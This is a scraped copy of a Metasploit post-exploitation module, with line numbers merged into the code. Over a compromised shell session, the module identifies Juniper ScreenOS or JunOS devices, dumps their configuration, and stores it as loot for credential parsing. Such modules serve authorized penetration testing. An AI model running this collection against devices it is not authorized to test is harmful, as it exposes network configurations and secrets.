Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/networking/gather/enum_juniper.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Auxiliary::Juniper7include Msf::Exploit::Deprecated8moved_from 'post/juniper/gather/enum_juniper'9def initialize(info = {})10super(11update_info(12info,13'Name' => 'Juniper Gather Device General Information',14'Description' => %q{15This module collects a Juniper ScreenOS and JunOS device information and configuration.16},17'License' => MSF_LICENSE,18'Author' => [ 'h00die'],19'Platform' => [ 'juniper'],20'SessionTypes' => [ 'shell' ]21)22)23end2425def run26# Get device prompt27prompt = session.shell_command('')2829os_type = 'junos'30command_prefix = ''31if prompt.end_with?('% ') # we're in an SSH shell32vprint_status('In an SSH shell')33command_prefix = 'cli '34elsif prompt.end_with?('-> ') # hit cli of ScreenOS, change the os_type35os_type = 'screenos'36elsif prompt.end_with?('> ') # cli of JunOS37vprint_status('In a cli shell')38elsif prompt.end_with?('# ') # we're in a cli>configure39vprint_status('In a cli>configure shell')40session.shell_command('quit') # gets us back to the cli non-config41elsif session.shell_command('?') =~ /\?: No match\./ # confirmed ssh shell42vprint_status('In an SSH shell')43command_prefix = 'cli '44end4546if os_type == 'screenos'47# Set terminal length to 0 so no paging is required48session.shell_write("term len 0 \n")49end5051# Get version info52print_status('Getting version information')53get_system_cmd = os_type.eql?('screenos') ? 'get system' : 'show configuration'54get_system_cmd = command_prefix + get_system_cmd55system_out = session.shell_command(get_system_cmd)56# https://github.com/h00die/MSF-Testing-Scripts/blob/master/juniper_strings.py#L257# https://kb.juniper.net/InfoCenter/index?page=content&id=KB648958if /^Product Name: (?<ver>SSG|NetScreen)/i =~ system_out59vprint_status("Original OS Guess #{os_type}, is now ScreenOS #{ver}")60os_type = 'screenos'61elsif /^Product Name: (?<ver>.+)/i =~ system_out62vprint_status("Original OS Guess #{os_type}, is now JunOS #{ver}")63os_type = 'junos'64elsif /^version (?<ver>[.\dR]+);/i =~ system_out65vprint_status("Original OS Guess #{os_type}, is now JunOS #{ver}")66os_type = 'junos'67end6869print_status("The device OS is #{os_type}")7071case os_type72when /screenos/73ver_loc = store_loot('juniper.screenos.config',74'text/plain',75session,76system_out.strip,77'config.txt',78'Juniper ScreenOS Config')79when /junos/80ver_loc = store_loot('juniper.junos.config',81'text/plain',82session,83system_out.strip,84'config.txt',85'Juniper JunOS Config')86end8788# Print the version of VERBOSE set to true.89vprint_good("Config information stored in to loot #{ver_loc}")9091# run additional information gathering92enum_configs(prompt, os_type, command_prefix)93end9495# run commands found in exec mode under privilege 196def enum_configs(prompt, os_type, command_prefix)97host = session.session_host98port = session.session_port99exec_commands = [100{101'cmd' => { 'junos' => 'show configuration', 'screenos' => 'get config' },102'fn' => 'get_config',103'desc' => 'Get Device Config on Juniper Device'104},105]106exec_commands.each do |ec|107command = command_prefix + ec['cmd'][os_type]108cmd_out = session.shell_command(command).gsub(/#{command}|#{prompt}/, '')109next if cmd_out =~ /unknown keyword/ # screenOS110111print_status("Gathering info from #{command}")112cmd_loc = store_loot("juniper.#{ec['fn']}",113'text/plain',114session,115cmd_out.strip,116"#{ec['fn']}.txt",117ec['desc'])118vprint_good("Saving to #{cmd_loc}")119if os_type == 'screenos'120juniper_screenos_config_eater(host, port, cmd_out.strip)121elsif os_type == 'junos'122juniper_junos_config_eater(host, port, cmd_out.strip)123end124end125end126end127128129